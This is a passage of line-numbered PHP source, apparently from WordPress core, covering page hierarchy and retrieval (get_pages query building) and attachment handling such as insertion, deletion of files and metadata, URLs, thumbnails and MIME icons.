4632 * It uses auxiliary structure to hold parent-children relationships and
4633 * runs in O(N) complexity
4634 *
4635 * @since 2.0.0
4636 *
4637 * @param array $pages Posts array (passed by reference).
4638 * @param int $page_id Optional. Parent page ID. Default 0.
4639 * @return array A list arranged by hierarchy. Children immediately follow their parents.
4640 */
4641function get_page_hierarchy( &$pages, $page_id = 0 ) {
4642 if ( empty( $pages ) ) {
4643 return array();
4644 }
4645
4646 $children = array();
4647 foreach ( (array) $pages as $p ) {
4648 $parent_id = intval( $p->post_parent );
4649 $children[ $parent_id ][] = $p;
4650 }
4651
4652 $result = array();
4653 _page_traverse_name( $page_id, $children, $result );
4654
4655 return $result;
4656}
4657
4658/**
4659 * Traverse and return all the nested children post names of a root page.
4660 *
4661 * $children contains parent-children relations
4662 *
4663 * @since 2.9.0
4664 *
4665 * @see _page_traverse_name()
4666 *
4667 * @param int $page_id Page ID.
4668 * @param array $children Parent-children relations (passed by reference).
4669 * @param array $result Result (passed by reference).
4670 */
4671function _page_traverse_name( $page_id, &$children, &$result ){
4672 if ( isset( $children[ $page_id ] ) ){
4673 foreach ( (array)$children[ $page_id ] as $child ) {
4674 $result[ $child->ID ] = $child->post_name;
4675 _page_traverse_name( $child->ID, $children, $result );
4676 }
4677 }
4678}
4679
4680/**
4681 * Build the URI path for a page.
4682 *
4683 * Sub pages will be in the "directory" under the parent page post name.
4684 *
4685 * @since 1.5.0
4686 * @since 4.6.0 Converted the `$page` parameter to optional.
4687 *
4688 * @param WP_Post|object|int $page Optional. Page ID or WP_Post object. Default is global $post.
4689 * @return string|false Page URI, false on error.
4690 */
4691function get_page_uri( $page = 0 ) {
4692 if ( ! $page instanceof WP_Post ) {
4693 $page = get_post( $page );
4694 }
4695
4696 if ( ! $page )
4697 return false;
4698
4699 $uri = $page->post_name;
4700
4701 foreach ( $page->ancestors as $parent ) {
4702 $parent = get_post( $parent );
4703 if ( $parent && $parent->post_name ) {
4704 $uri = $parent->post_name . '/' . $uri;
4705 }
4706 }
4707
4708 /**
4709 * Filters the URI for a page.
4710 *
4711 * @since 4.4.0
4712 *
4713 * @param string $uri Page URI.
4714 * @param WP_Post $page Page object.
4715 */
4716 return apply_filters( 'get_page_uri', $uri, $page );
4717}
4718
4719/**
4720 * Retrieve a list of pages (or hierarchical post type items).
4721 *
4722 * @global wpdb $wpdb WordPress database abstraction object.
4723 *
4724 * @since 1.5.0
4725 *
4726 * @param array|string $args {
4727 * Optional. Array or string of arguments to retrieve pages.
4728 *
4729 * @type int $child_of Page ID to return child and grandchild pages of. Note: The value
4730 * of `$hierarchical` has no bearing on whether `$child_of` returns
4731 * hierarchical results. Default 0, or no restriction.
4732 * @type string $sort_order How to sort retrieved pages. Accepts 'ASC', 'DESC'. Default 'ASC'.
4733 * @type string $sort_column What columns to sort pages by, comma-separated. Accepts 'post_author',
4734 * 'post_date', 'post_title', 'post_name', 'post_modified', 'menu_order',
4735 * 'post_modified_gmt', 'post_parent', 'ID', 'rand', 'comment_count'.
4736 * 'post_' can be omitted for any values that start with it.
4737 * Default 'post_title'.
4738 * @type bool $hierarchical Whether to return pages hierarchically. If false in conjunction with
4739 * `$child_of` also being false, both arguments will be disregarded.
4740 * Default true.
4741 * @type array $exclude Array of page IDs to exclude. Default empty array.
4742 * @type array $include Array of page IDs to include. Cannot be used with `$child_of`,
4743 * `$parent`, `$exclude`, `$meta_key`, `$meta_value`, or `$hierarchical`.
4744 * Default empty array.
4745 * @type string $meta_key Only include pages with this meta key. Default empty.
4746 * @type string $meta_value Only include pages with this meta value. Requires `$meta_key`.
4747 * Default empty.
4748 * @type string $authors A comma-separated list of author IDs. Default empty.
4749 * @type int $parent Page ID to return direct children of. Default -1, or no restriction.
4750 * @type string|array $exclude_tree Comma-separated string or array of page IDs to exclude.
4751 * Default empty array.
4752 * @type int $number The number of pages to return. Default 0, or all pages.
4753 * @type int $offset The number of pages to skip before returning. Requires `$number`.
4754 * Default 0.
4755 * @type string $post_type The post type to query. Default 'page'.
4756 * @type string|array $post_status A comma-separated list or array of post statuses to include.
4757 * Default 'publish'.
4758 * }
4759 * @return array|false List of pages matching defaults or `$args`.
4760 */
4761function get_pages( $args = array() ) {
4762 global $wpdb;
4763
4764 $defaults = array(
4765 'child_of' => 0,
4766 'sort_order' => 'ASC',
4767 'sort_column' => 'post_title',
4768 'hierarchical' => 1,
4769 'exclude' => array(),
4770 'include' => array(),
4771 'meta_key' => '',
4772 'meta_value' => '',
4773 'authors' => '',
4774 'parent' => -1,
4775 'exclude_tree' => array(),
4776 'number' => '',
4777 'offset' => 0,
4778 'post_type' => 'page',
4779 'post_status' => 'publish',
4780 );
4781
4782 $r = wp_parse_args( $args, $defaults );
4783
4784 $number = (int) $r['number'];
4785 $offset = (int) $r['offset'];
4786 $child_of = (int) $r['child_of'];
4787 $hierarchical = $r['hierarchical'];
4788 $exclude = $r['exclude'];
4789 $meta_key = $r['meta_key'];
4790 $meta_value = $r['meta_value'];
4791 $parent = $r['parent'];
4792 $post_status = $r['post_status'];
4793
4794 // Make sure the post type is hierarchical.
4795 $hierarchical_post_types = get_post_types( array( 'hierarchical' => true ) );
4796 if ( ! in_array( $r['post_type'], $hierarchical_post_types ) ) {
4797 return false;
4798 }
4799
4800 if ( $parent > 0 && ! $child_of ) {
4801 $hierarchical = false;
4802 }
4803
4804 // Make sure we have a valid post status.
4805 if ( ! is_array( $post_status ) ) {
4806 $post_status = explode( ',', $post_status );
4807 }
4808 if ( array_diff( $post_status, get_post_stati() ) ) {
4809 return false;
4810 }
4811
4812 // $args can be whatever, only use the args defined in defaults to compute the key.
4813 $key = md5( serialize( wp_array_slice_assoc( $r, array_keys( $defaults ) ) ) );
4814 $last_changed = wp_cache_get_last_changed( 'posts' );
4815
4816 $cache_key = "get_pages:$key:$last_changed";
4817 if ( $cache = wp_cache_get( $cache_key, 'posts' ) ) {
4818 // Convert to WP_Post instances.
4819 $pages = array_map( 'get_post', $cache );
4820 /** This filter is documented in wp-includes/post.php */
4821 $pages = apply_filters( 'get_pages', $pages, $r );
4822 return $pages;
4823 }
4824
4825 $inclusions = '';
4826 if ( ! empty( $r['include'] ) ) {
4827 $child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include
4828 $parent = -1;
4829 $exclude = '';
4830 $meta_key = '';
4831 $meta_value = '';
4832 $hierarchical = false;
4833 $incpages = wp_parse_id_list( $r['include'] );
4834 if ( ! empty( $incpages ) ) {
4835 $inclusions = ' AND ID IN (' . implode( ',', $incpages ) . ')';
4836 }
4837 }
4838
4839 $exclusions = '';
4840 if ( ! empty( $exclude ) ) {
4841 $expages = wp_parse_id_list( $exclude );
4842 if ( ! empty( $expages ) ) {
4843 $exclusions = ' AND ID NOT IN (' . implode( ',', $expages ) . ')';
4844 }
4845 }
4846
4847 $author_query = '';
4848 if ( ! empty( $r['authors'] ) ) {
4849 $post_authors = preg_split( '/[\s,]+/', $r['authors'] );
4850
4851 if ( ! empty( $post_authors ) ) {
4852 foreach ( $post_authors as $post_author ) {
4853 //Do we have an author id or an author login?
4854 if ( 0 == intval($post_author) ) {
4855 $post_author = get_user_by('login', $post_author);
4856 if ( empty( $post_author ) ) {
4857 continue;
4858 }
4859 if ( empty( $post_author->ID ) ) {
4860 continue;
4861 }
4862 $post_author = $post_author->ID;
4863 }
4864
4865 if ( '' == $author_query ) {
4866 $author_query = $wpdb->prepare(' post_author = %d ', $post_author);
4867 } else {
4868 $author_query .= $wpdb->prepare(' OR post_author = %d ', $post_author);
4869 }
4870 }
4871 if ( '' != $author_query ) {
4872 $author_query = " AND ($author_query)";
4873 }
4874 }
4875 }
4876
4877 $join = '';
4878 $where = "$exclusions $inclusions ";
4879 if ( '' !== $meta_key || '' !== $meta_value ) {
4880 $join = " LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )";
4881
4882 // meta_key and meta_value might be slashed
4883 $meta_key = wp_unslash($meta_key);
4884 $meta_value = wp_unslash($meta_value);
4885 if ( '' !== $meta_key ) {
4886 $where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_key = %s", $meta_key);
4887 }
4888 if ( '' !== $meta_value ) {
4889 $where .= $wpdb->prepare(" AND $wpdb->postmeta.meta_value = %s", $meta_value);
4890 }
4891
4892 }
4893
4894 if ( is_array( $parent ) ) {
4895 $post_parent__in = implode( ',', array_map( 'absint', (array) $parent ) );
4896 if ( ! empty( $post_parent__in ) ) {
4897 $where .= " AND post_parent IN ($post_parent__in)";
4898 }
4899 } elseif ( $parent >= 0 ) {
4900 $where .= $wpdb->prepare(' AND post_parent = %d ', $parent);
4901 }
4902
4903 if ( 1 == count( $post_status ) ) {
4904 $where_post_type = $wpdb->prepare( "post_type = %s AND post_status = %s", $r['post_type'], reset( $post_status ) );
4905 } else {
4906 $post_status = implode( "', '", $post_status );
4907 $where_post_type = $wpdb->prepare( "post_type = %s AND post_status IN ('$post_status')", $r['post_type'] );
4908 }
4909
4910 $orderby_array = array();
4911 $allowed_keys = array( 'author', 'post_author', 'date', 'post_date', 'title', 'post_title', 'name', 'post_name', 'modified',
4912 'post_modified', 'modified_gmt', 'post_modified_gmt', 'menu_order', 'parent', 'post_parent',
4913 'ID', 'rand', 'comment_count' );
4914
4915 foreach ( explode( ',', $r['sort_column'] ) as $orderby ) {
4916 $orderby = trim( $orderby );
4917 if ( ! in_array( $orderby, $allowed_keys ) ) {
4918 continue;
4919 }
4920
4921 switch ( $orderby ) {
4922 case 'menu_order':
4923 break;
4924 case 'ID':
4925 $orderby = "$wpdb->posts.ID";
4926 break;
4927 case 'rand':
4928 $orderby = 'RAND()';
4929 break;
4930 case 'comment_count':
4931 $orderby = "$wpdb->posts.comment_count";
4932 break;
4933 default:
4934 if ( 0 === strpos( $orderby, 'post_' ) ) {
4935 $orderby = "$wpdb->posts." . $orderby;
4936 } else {
4937 $orderby = "$wpdb->posts.post_" . $orderby;
4938 }
4939 }
4940
4941 $orderby_array[] = $orderby;
4942
4943 }
4944 $sort_column = ! empty( $orderby_array ) ? implode( ',', $orderby_array ) : "$wpdb->posts.post_title";
4945
4946 $sort_order = strtoupper( $r['sort_order'] );
4947 if ( '' !== $sort_order && ! in_array( $sort_order, array( 'ASC', 'DESC' ) ) ) {
4948 $sort_order = 'ASC';
4949 }
4950
4951 $query = "SELECT * FROM $wpdb->posts $join WHERE ($where_post_type) $where ";
4952 $query .= $author_query;
4953 $query .= " ORDER BY " . $sort_column . " " . $sort_order ;
4954
4955 if ( ! empty( $number ) ) {
4956 $query .= ' LIMIT ' . $offset . ',' . $number;
4957 }
4958
4959 $pages = $wpdb->get_results($query);
4960
4961 if ( empty($pages) ) {
4962 /** This filter is documented in wp-includes/post.php */
4963 $pages = apply_filters( 'get_pages', array(), $r );
4964 return $pages;
4965 }
4966
4967 // Sanitize before caching so it'll only get done once.
4968 $num_pages = count($pages);
4969 for ($i = 0; $i < $num_pages; $i++) {
4970 $pages[$i] = sanitize_post($pages[$i], 'raw');
4971 }
4972
4973 // Update cache.
4974 update_post_cache( $pages );
4975
4976 if ( $child_of || $hierarchical ) {
4977 $pages = get_page_children($child_of, $pages);
4978 }
4979
4980 if ( ! empty( $r['exclude_tree'] ) ) {
4981 $exclude = wp_parse_id_list( $r['exclude_tree'] );
4982 foreach ( $exclude as $id ) {
4983 $children = get_page_children( $id, $pages );
4984 foreach ( $children as $child ) {
4985 $exclude[] = $child->ID;
4986 }
4987 }
4988
4989 $num_pages = count( $pages );
4990 for ( $i = 0; $i < $num_pages; $i++ ) {
4991 if ( in_array( $pages[$i]->ID, $exclude ) ) {
4992 unset( $pages[$i] );
4993 }
4994 }
4995 }
4996
4997 $page_structure = array();
4998 foreach ( $pages as $page ) {
4999 $page_structure[] = $page->ID;
5000 }
5001
5002 wp_cache_set( $cache_key, $page_structure, 'posts' );
5003
5004 // Convert to WP_Post instances
5005 $pages = array_map( 'get_post', $pages );
5006
5007 /**
5008 * Filters the retrieved list of pages.
5009 *
5010 * @since 2.1.0
5011 *
5012 * @param array $pages List of pages to retrieve.
5013 * @param array $r Array of get_pages() arguments.
5014 */
5015 return apply_filters( 'get_pages', $pages, $r );
5016}
5017
5018//
5019// Attachment functions
5020//
5021
5022/**
5023 * Determines whether an attachment URI is local and really an attachment.
5024 *
5025 * For more information on this and similar theme functions, check out
5026 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
5027 * Conditional Tags} article in the Theme Developer Handbook.
5028 *
5029 * @since 2.0.0
5030 *
5031 * @param string $url URL to check
5032 * @return bool True on success, false on failure.
5033 */
5034function is_local_attachment($url) {
5035 if (strpos($url, home_url()) === false)
5036 return false;
5037 if (strpos($url, home_url('/?attachment_id=')) !== false)
5038 return true;
5039 if ( $id = url_to_postid($url) ) {
5040 $post = get_post($id);
5041 if ( 'attachment' == $post->post_type )
5042 return true;
5043 }
5044 return false;
5045}
5046
5047/**
5048 * Insert an attachment.
5049 *
5050 * If you set the 'ID' in the $args parameter, it will mean that you are
5051 * updating and attempt to update the attachment. You can also set the
5052 * attachment name or title by setting the key 'post_name' or 'post_title'.
5053 *
5054 * You can set the dates for the attachment manually by setting the 'post_date'
5055 * and 'post_date_gmt' keys' values.
5056 *
5057 * By default, the comments will use the default settings for whether the
5058 * comments are allowed. You can close them manually or keep them open by
5059 * setting the value for the 'comment_status' key.
5060 *
5061 * @since 2.0.0
5062 * @since 4.7.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure.
5063 *
5064 * @see wp_insert_post()
5065 *
5066 * @param string|array $args Arguments for inserting an attachment.
5067 * @param string $file Optional. Filename.
5068 * @param int $parent Optional. Parent post ID.
5069 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
5070 * @return int|WP_Error The attachment ID on success. The value 0 or WP_Error on failure.
5071 */
5072function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false ) {
5073 $defaults = array(
5074 'file' => $file,
5075 'post_parent' => 0
5076 );
5077
5078 $data = wp_parse_args( $args, $defaults );
5079
5080 if ( ! empty( $parent ) ) {
5081 $data['post_parent'] = $parent;
5082 }
5083
5084 $data['post_type'] = 'attachment';
5085
5086 return wp_insert_post( $data, $wp_error );
5087}
5088
5089/**
5090 * Trash or delete an attachment.
5091 *
5092 * When an attachment is permanently deleted, the file will also be removed.
5093 * Deletion removes all post meta fields, taxonomy, comments, etc. associated
5094 * with the attachment (except the main post).
5095 *
5096 * The attachment is moved to the trash instead of permanently deleted unless trash
5097 * for media is disabled, item is already in the trash, or $force_delete is true.
5098 *
5099 * @since 2.0.0
5100 *
5101 * @global wpdb $wpdb WordPress database abstraction object.
5102 *
5103 * @param int $post_id Attachment ID.
5104 * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
5105 * Default false.
5106 * @return WP_Post|false|null Post data on success, false or null on failure.
5107 */
5108function wp_delete_attachment( $post_id, $force_delete = false ) {
5109 global $wpdb;
5110
5111 $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id ) );
5112
5113 if ( ! $post ) {
5114 return $post;
5115 }
5116
5117 $post = get_post( $post );
5118
5119 if ( 'attachment' !== $post->post_type ) {
5120 return false;
5121 }
5122
5123 if ( ! $force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' !== $post->post_status ) {
5124 return wp_trash_post( $post_id );
5125 }
5126
5127 delete_post_meta($post_id, '_wp_trash_meta_status');
5128 delete_post_meta($post_id, '_wp_trash_meta_time');
5129
5130 $meta = wp_get_attachment_metadata( $post_id );
5131 $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
5132 $file = get_attached_file( $post_id );
5133
5134 if ( is_multisite() )
5135 delete_transient( 'dirsize_cache' );
5136
5137 /**
5138 * Fires before an attachment is deleted, at the start of wp_delete_attachment().
5139 *
5140 * @since 2.0.0
5141 *
5142 * @param int $post_id Attachment ID.
5143 */
5144 do_action( 'delete_attachment', $post_id );
5145
5146 wp_delete_object_term_relationships($post_id, array('category', 'post_tag'));
5147 wp_delete_object_term_relationships($post_id, get_object_taxonomies($post->post_type));
5148
5149 // Delete all for any posts.
5150 delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
5151
5152 wp_defer_comment_counting( true );
5153
5154 $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ));
5155 foreach ( $comment_ids as $comment_id ) {
5156 wp_delete_comment( $comment_id, true );
5157 }
5158
5159 wp_defer_comment_counting( false );
5160
5161 $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $post_id ));
5162 foreach ( $post_meta_ids as $mid )
5163 delete_metadata_by_mid( 'post', $mid );
5164
5165 /** This action is documented in wp-includes/post.php */
5166 do_action( 'delete_post', $post_id );
5167 $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $post_id ) );
5168 if ( ! $result ) {
5169 return false;
5170 }
5171 /** This action is documented in wp-includes/post.php */
5172 do_action( 'deleted_post', $post_id );
5173
5174 wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file );
5175
5176 clean_post_cache( $post );
5177
5178 return $post;
5179}
5180
5181/**
5182 * Deletes all files that belong to the given attachment.
5183 *
5184 * @since 4.9.7
5185 *
5186 * @param int $post_id Attachment ID.
5187 * @param array $meta The attachment's meta data.
5188 * @param array $backup_sizes The meta data for the attachment's backup images.
5189 * @param string $file Absolute path to the attachment's file.
5190 * @return bool True on success, false on failure.
5191 */
5192function wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file ) {
5193 global $wpdb;
5194
5195 $uploadpath = wp_get_upload_dir();
5196 $deleted = true;
5197
5198 if ( ! empty( $meta['thumb'] ) ) {
5199 // Don't delete the thumb if another attachment uses it.
5200 if ( ! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id ) ) ) {
5201 $thumbfile = str_replace( basename( $file ), $meta['thumb'], $file );
5202 if ( ! empty( $thumbfile ) ) {
5203 $thumbfile = path_join( $uploadpath['basedir'], $thumbfile );
5204 $thumbdir = path_join( $uploadpath['basedir'], dirname( $file ) );
5205
5206 if ( ! wp_delete_file_from_directory( $thumbfile, $thumbdir ) ) {
5207 $deleted = false;
5208 }
5209 }
5210 }
5211 }
5212
5213 // Remove intermediate and backup images if there are any.
5214 if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) {
5215 $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) );
5216 foreach ( $meta['sizes'] as $size => $sizeinfo ) {
5217 $intermediate_file = str_replace( basename( $file ), $sizeinfo['file'], $file );
5218 if ( ! empty( $intermediate_file ) ) {
5219 $intermediate_file = path_join( $uploadpath['basedir'], $intermediate_file );
5220
5221 if ( ! wp_delete_file_from_directory( $intermediate_file, $intermediate_dir ) ) {
5222 $deleted = false;
5223 }
5224 }
5225 }
5226 }
5227
5228 if ( is_array( $backup_sizes ) ) {
5229 $del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) );
5230 foreach ( $backup_sizes as $size ) {
5231 $del_file = path_join( dirname( $meta['file'] ), $size['file'] );
5232 if ( ! empty( $del_file ) ) {
5233 $del_file = path_join( $uploadpath['basedir'], $del_file );
5234
5235 if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) {
5236 $deleted = false;
5237 }
5238 }
5239 }
5240 }
5241
5242 if ( ! wp_delete_file_from_directory( $file, $uploadpath['basedir'] ) ) {
5243 $deleted = false;
5244 }
5245
5246 return $deleted;
5247}
5248
5249/**
5250 * Retrieve attachment meta field for attachment ID.
5251 *
5252 * @since 2.1.0
5253 *
5254 * @param int $attachment_id Attachment post ID. Defaults to global $post.
5255 * @param bool $unfiltered Optional. If true, filters are not run. Default false.
5256 * @return mixed Attachment meta field. False on failure.
5257 */
5258function wp_get_attachment_metadata( $attachment_id = 0, $unfiltered = false ) {
5259 $attachment_id = (int) $attachment_id;
5260 if ( ! $post = get_post( $attachment_id ) ) {
5261 return false;
5262 }
5263
5264 $data = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
5265
5266 if ( $unfiltered )
5267 return $data;
5268
5269 /**
5270 * Filters the attachment meta data.
5271 *
5272 * @since 2.1.0
5273 *
5274 * @param array|bool $data Array of meta data for the given attachment, or false
5275 * if the object does not exist.
5276 * @param int $attachment_id Attachment post ID.
5277 */
5278 return apply_filters( 'wp_get_attachment_metadata', $data, $post->ID );
5279}
5280
5281/**
5282 * Update metadata for an attachment.
5283 *
5284 * @since 2.1.0
5285 *
5286 * @param int $attachment_id Attachment post ID.
5287 * @param array $data Attachment meta data.
5288 * @return int|bool False if $post is invalid.
5289 */
5290function wp_update_attachment_metadata( $attachment_id, $data ) {
5291 $attachment_id = (int) $attachment_id;
5292 if ( ! $post = get_post( $attachment_id ) ) {
5293 return false;
5294 }
5295
5296 /**
5297 * Filters the updated attachment meta data.
5298 *
5299 * @since 2.1.0
5300 *
5301 * @param array $data Array of updated attachment meta data.
5302 * @param int $attachment_id Attachment post ID.
5303 */
5304 if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
5305 return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
5306 else
5307 return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
5308}
5309
5310/**
5311 * Retrieve the URL for an attachment.
5312 *
5313 * @since 2.1.0
5314 *
5315 * @global string $pagenow
5316 *
5317 * @param int $attachment_id Optional. Attachment post ID. Defaults to global $post.
5318 * @return string|false Attachment URL, otherwise false.
5319 */
5320function wp_get_attachment_url( $attachment_id = 0 ) {
5321 $attachment_id = (int) $attachment_id;
5322 if ( ! $post = get_post( $attachment_id ) ) {
5323 return false;
5324 }
5325
5326 if ( 'attachment' != $post->post_type )
5327 return false;
5328
5329 $url = '';
5330 // Get attached file.
5331 if ( $file = get_post_meta( $post->ID, '_wp_attached_file', true ) ) {
5332 // Get upload directory.
5333 if ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) {
5334 // Check that the upload base exists in the file location.
5335 if ( 0 === strpos( $file, $uploads['basedir'] ) ) {
5336 // Replace file location with url location.
5337 $url = str_replace($uploads['basedir'], $uploads['baseurl'], $file);
5338 } elseif ( false !== strpos($file, 'wp-content/uploads') ) {
5339 // Get the directory name relative to the basedir (back compat for pre-2.7 uploads)
5340 $url = trailingslashit( $uploads['baseurl'] . '/' . _wp_get_attachment_relative_path( $file ) ) . basename( $file );
5341 } else {
5342 // It's a newly-uploaded file, therefore $file is relative to the basedir.
5343 $url = $uploads['baseurl'] . "/$file";
5344 }
5345 }
5346 }
5347
5348 /*
5349 * If any of the above options failed, Fallback on the GUID as used pre-2.7,
5350 * not recommended to rely upon this.
5351 */
5352 if ( empty($url) ) {
5353 $url = get_the_guid( $post->ID );
5354 }
5355
5356 // On SSL front end, URLs should be HTTPS.
5357 if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $GLOBALS['pagenow'] ) {
5358 $url = set_url_scheme( $url );
5359 }
5360
5361 /**
5362 * Filters the attachment URL.
5363 *
5364 * @since 2.1.0
5365 *
5366 * @param string $url URL for the given attachment.
5367 * @param int $attachment_id Attachment post ID.
5368 */
5369 $url = apply_filters( 'wp_get_attachment_url', $url, $post->ID );
5370
5371 if ( empty( $url ) )
5372 return false;
5373
5374 return $url;
5375}
5376
5377/**
5378 * Retrieves the caption for an attachment.
5379 *
5380 * @since 4.6.0
5381 *
5382 * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`.
5383 * @return string|false False on failure. Attachment caption on success.
5384 */
5385function wp_get_attachment_caption( $post_id = 0 ) {
5386 $post_id = (int) $post_id;
5387 if ( ! $post = get_post( $post_id ) ) {
5388 return false;
5389 }
5390
5391 if ( 'attachment' !== $post->post_type ) {
5392 return false;
5393 }
5394
5395 $caption = $post->post_excerpt;
5396
5397 /**
5398 * Filters the attachment caption.
5399 *
5400 * @since 4.6.0
5401 *
5402 * @param string $caption Caption for the given attachment.
5403 * @param int $post_id Attachment ID.
5404 */
5405 return apply_filters( 'wp_get_attachment_caption', $caption, $post->ID );
5406}
5407
5408/**
5409 * Retrieve thumbnail for an attachment.
5410 *
5411 * @since 2.1.0
5412 *
5413 * @param int $post_id Optional. Attachment ID. Default 0.
5414 * @return string|false False on failure. Thumbnail file path on success.
5415 */
5416function wp_get_attachment_thumb_file( $post_id = 0 ) {
5417 $post_id = (int) $post_id;
5418 if ( !$post = get_post( $post_id ) )
5419 return false;
5420 if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
5421 return false;
5422
5423 $file = get_attached_file( $post->ID );
5424
5425 if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
5426 /**
5427 * Filters the attachment thumbnail file path.
5428 *
5429 * @since 2.1.0
5430 *
5431 * @param string $thumbfile File path to the attachment thumbnail.
5432 * @param int $post_id Attachment ID.
5433 */
5434 return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
5435 }
5436 return false;
5437}
5438
5439/**
5440 * Retrieve URL for an attachment thumbnail.
5441 *
5442 * @since 2.1.0
5443 *
5444 * @param int $post_id Optional. Attachment ID. Default 0.
5445 * @return string|false False on failure. Thumbnail URL on success.
5446 */
5447function wp_get_attachment_thumb_url( $post_id = 0 ) {
5448 $post_id = (int) $post_id;
5449 if ( !$post = get_post( $post_id ) )
5450 return false;
5451 if ( !$url = wp_get_attachment_url( $post->ID ) )
5452 return false;
5453
5454 $sized = image_downsize( $post_id, 'thumbnail' );
5455 if ( $sized )
5456 return $sized[0];
5457
5458 if ( !$thumb = wp_get_attachment_thumb_file( $post->ID ) )
5459 return false;
5460
5461 $url = str_replace(basename($url), basename($thumb), $url);
5462
5463 /**
5464 * Filters the attachment thumbnail URL.
5465 *
5466 * @since 2.1.0
5467 *
5468 * @param string $url URL for the attachment thumbnail.
5469 * @param int $post_id Attachment ID.
5470 */
5471 return apply_filters( 'wp_get_attachment_thumb_url', $url, $post->ID );
5472}
5473
5474/**
5475 * Verifies an attachment is of a given type.
5476 *
5477 * @since 4.2.0
5478 *
5479 * @param string $type Attachment type. Accepts 'image', 'audio', or 'video'.
5480 * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post.
5481 * @return bool True if one of the accepted types, false otherwise.
5482 */
5483function wp_attachment_is( $type, $post = null ) {
5484 if ( ! $post = get_post( $post ) ) {
5485 return false;
5486 }
5487
5488 if ( ! $file = get_attached_file( $post->ID ) ) {
5489 return false;
5490 }
5491
5492 if ( 0 === strpos( $post->post_mime_type, $type . '/' ) ) {
5493 return true;
5494 }
5495
5496 $check = wp_check_filetype( $file );
5497 if ( empty( $check['ext'] ) ) {
5498 return false;
5499 }
5500
5501 $ext = $check['ext'];
5502
5503 if ( 'import' !== $post->post_mime_type ) {
5504 return $type === $ext;
5505 }
5506
5507 switch ( $type ) {
5508 case 'image':
5509 $image_exts = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png' );
5510 return in_array( $ext, $image_exts );
5511
5512 case 'audio':
5513 return in_array( $ext, wp_get_audio_extensions() );
5514
5515 case 'video':
5516 return in_array( $ext, wp_get_video_extensions() );
5517
5518 default:
5519 return $type === $ext;
5520 }
5521}
5522
5523/**
5524 * Determines whether an attachment is an image.
5525 *
5526 * For more information on this and similar theme functions, check out
5527 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
5528 * Conditional Tags} article in the Theme Developer Handbook.
5529 *
5530 * @since 2.1.0
5531 * @since 4.2.0 Modified into wrapper for wp_attachment_is() and
5532 * allowed WP_Post object to be passed.
5533 *
5534 * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post.
5535 * @return bool Whether the attachment is an image.
5536 */
5537function wp_attachment_is_image( $post = null ) {
5538 return wp_attachment_is( 'image', $post );
5539}
5540
5541/**
5542 * Retrieve the icon for a MIME type.
5543 *
5544 * @since 2.1.0
5545 *
5546 * @param string|int $mime MIME type or attachment ID.
5547 * @return string|false Icon, false otherwise.
5548 */
5549function wp_mime_type_icon( $mime = 0 ) {
5550 if ( !is_numeric($mime) )
5551 $icon = wp_cache_get("mime_type_icon_$mime");
5552
5553 $post_id = 0;
5554 if ( empty($icon) ) {
5555 $post_mimes = array();
5556 if ( is_numeric($mime) ) {
5557 $mime = (int) $mime;
5558 if ( $post = get_post( $mime ) ) {
5559 $post_id = (int) $post->ID;
5560 $file = get_attached_file( $post_id );
5561 $ext = preg_replace('/^.+?\.([^.]+)$/', '$1', $file);
5562 if ( !empty($ext) ) {
5563 $post_mimes[] = $ext;
5564 if ( $ext_type = wp_ext2type( $ext ) )
5565 $post_mimes[] = $ext_type;
5566 }
5567 $mime = $post->post_mime_type;
5568 } else {
5569 $mime = 0;
5570 }
5571 } else {
5572 $post_mimes[] = $mime;
5573 }
5574
5575 $icon_files = wp_cache_get('icon_files');
5576
5577 if ( !is_array($icon_files) ) {
5578 /**
5579 * Filters the icon directory path.
5580 *
5581 * @since 2.0.0
5582 *
5583 * @param string $path Icon directory absolute path.
5584 */
5585 $icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );
5586
5587 /**
5588 * Filters the icon directory URI.
5589 *
5590 * @since 2.0.0
5591 *
5592 * @param string $uri Icon directory URI.
5593 */
5594 $icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url( 'images/media' ) );
5595
5596 /**
5597 * Filters the list of icon directory URIs.
5598 *
5599 * @since 2.5.0
5600 *
